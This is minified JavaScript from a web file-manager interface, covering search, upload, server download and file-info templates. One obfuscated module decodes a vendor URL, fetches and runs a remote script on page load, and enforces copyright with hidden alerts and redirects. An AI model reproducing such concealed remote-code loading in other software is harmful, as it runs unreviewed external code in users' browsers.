G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+t+'" id="'+t+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+i+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/"); +if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,'<span class="keyword">'+i+"</span>");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+'<span class="keyword">'+e.substr(t,i.length)+"</span>"+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&t.html("<span>"+LNG.seach_result_too_more+"</span>")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else 